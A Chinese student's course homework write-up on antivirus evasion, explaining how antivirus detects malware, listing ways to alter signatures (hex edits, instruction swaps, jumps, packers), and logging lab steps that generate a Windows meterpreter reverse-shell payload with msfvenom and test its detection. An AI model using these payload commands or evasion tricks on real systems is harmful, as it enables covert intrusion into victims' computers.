2017-2018-2 20179205 《网络攻防技术与实践》第十二周做业 免杀技术

《网络攻防技术与实践》第十二周 免杀技术

1、基础问题

1.杀软是如何检测出恶意代码的?

  • 基于特征码

  一段特征码就是一段或多段数据。(若是一个可执行文件(或其余运行的库、脚本等)包含这样的数据则被认为是恶意代码)杀毒软件有本身专门的特征码库,在检测一个程序是不是恶意代码时就看这个程序中的是否包含有特征码库中的特征码,若是有就进行查杀。可是特征码库并非老是能第一时间更新,若是出现了特征码库中没有的新特征码,那么就没法经过这种比对的方法进行查杀。python

  • 启发式恶意软件检测

  这种方法的思想是为病毒的特征设定一个阈值,扫描器分析文件时,当文件的总权值超出了设定值,就将其看做是恶意代码.这种方法主要的技术是要准确的定义相似病毒的特征,这依靠准确的模拟处理器。评定基于宏病毒的影响更是一个挑战,他们的结构和可能的执行流程比已经编译过的可执行文件更难预测。shell

  • 基于行为的恶意软件检测

  利用病毒的特有行为特征来监测病毒的方法,称为行为监测法.经过对病毒多年的观察、研究,有一些行为是恶意代码的共同行为,并且比较特殊.当程序运行时,监视其行为,若是发现了病毒行为,当即报警.缺点是误报率比较高、不能识别病毒名称及类型、实现时有必定难度。windows

  • 基于特征码的检测

  简单来讲一段特征码就是一段或多段数据。若是一个可执行文件(或其余运行的库、脚本等)包含这样的数据则被认为是恶意代码。AV软件厂商要作的就是尽可能搜集最全的、最新的特征码库。因此杀毒软件的更新很重要。过期的特征码库就是没有用的库。安全

  • 基于签名的检测技术

  基于签名的检测技术主要基于模式匹配的思想,为每种已知恶意代码产生一个惟一的签名特征标记来建立恶意代码库。这些签名包括不少不一样的属性,如文件名、内容字符串或字节等,而且也从排除这些恶意代码所产生安全漏洞的角度来探讨保护系统安全。将未知代码的签名特征与恶意代码库进行对比,搜索恶意代码库查找时候存在相匹配的恶意代码签名,如有吻合,则断定为恶意代码;反之则判断为正常代码。这些签名有专家手工找出或经过自动方法生成,一个签名呗提取出来以标志一个特定恶意代码的特征性质。网络

2.免杀是作什么?

  就是经过针对杀毒软件查杀恶意代码的原理,将恶意代码进行修改和包装,反过来使得恶意代码可以不被杀毒软件所检测和查杀,更好地植入到被攻击的主机中进行一些非法的操做。tcp

3.免杀的基本方法有哪些?

  • 1.直接修改特征码的十六进制法

修改方法:把特征码所对应的十六进制改为数字差1或差很少的十六进制.

适用范围:必定要精肯定位特征码所对应的十六进制,修改后必定要测试一下能
否正常使用.测试

  • 2.修改字符串大小写法

修改方法:把特征码所对应的内容是字符串的,只要把大小字互换一下就能够了.

适用范围:特征码所对应的内容必需是字符串,不然不能成功..net

  • 3.等价替换法

修改方法:把特征码所对应的汇编指令命令中替换成功能类拟的指令.

适用范围:特征码中必需有能够替换的汇编指令.好比JN,JNE 换成JMP等.3d

  • 4.指令顺序调换法

修改方法:把具备特征码的代码顺序互换一下.

适用范围:具备必定的局限性,代码互换后要不能影响程序的正常执行code

  • 5.通用跳转法

修改方法:把特征码移到零区域(指代码的空隙处),而后一个JMP又跳回来执行.

适用范围:没有什么条件,是通用的改法,强烈建议你们要掌握这种改法.

  • 文件免杀方法:

1.加冷门壳

2.加花指令

3.改程序入口点

4.改木马文件特征码的5种经常使用方法

5.还有其它的几种免杀修改技巧

2、实践过程记录

1.msfvenom直接生成meterpreter可执行文件

使用Linux攻击机kali,其IP用msfvenom直接生成meterpreter可执行文件:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.92.140 LPORT=443 -f exe > Rebrust-2.exe

在主文件夹中找到生成的文件,复制:

将文件拷到桌面运行,发现被360安全卫士检测:

关闭防火墙容许该文件,将文件传至:www.virscan.org 进行检测,检测结果以下:

扫描结果:45%的杀软(18/40)报告发现病毒.

能够看到百度杀毒、金山毒霸等是能够检测到的。

2.用Veil-Evasion生成可执行文件

下载安装Veil-Evasion

按照Veil-Evasion下载安装教程进行下载安装:

安装成功:

咱们在Veil-Evasion目录下,执行命令 python Veil-Evasion.py

输入list能够查看到有51个模块:

3.使用c语言调用shellcode

在kali下输入命令:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.92.140 LPORT=443 -f c

将生成的代码复制到一个新建的文件夹9205.c下,加上头文件进行编译:

能够看到生成的a.out文件:

将a.out文件复制出来至:www.virscan.org 进行检测:

3、实践中遇到的问题与解决过程

在用Veil-Evasion生成可执行文件,尝试了多个模块最终失败,没有生成可执行文件:

相关文章
相关标签/搜索